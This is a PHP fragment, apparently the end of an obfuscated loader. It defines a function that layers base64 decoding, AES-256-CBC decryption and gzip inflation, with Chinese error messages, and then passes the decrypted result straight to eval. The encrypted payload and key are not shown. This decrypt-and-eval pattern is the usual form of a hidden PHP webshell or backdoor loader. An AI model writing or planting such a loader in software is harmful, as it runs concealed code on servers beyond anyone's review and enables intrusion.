function safeDecrypt($data, $key) { $iv = substr($key, 0, 16); $decoded = base64_decode($data); if ($decoded === false) die('Base64解码失败'); $decrypted = openssl_decrypt($decoded, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv); if ($decrypted === false) die('AES解密失败'); $base64Decoded = base64_decode($decrypted); if ($base64Decoded === false) die('内部Base64解码失败'); $decompressed = gzinflate($base64Decoded); if ($decompressed === false) die('Gzip解压缩失败'); return $decompressed; } // 正常执行 $decryptedCode = safeDecrypt($encryptedData, $decryptionKey); eval("?>" . $decryptedCode); ?>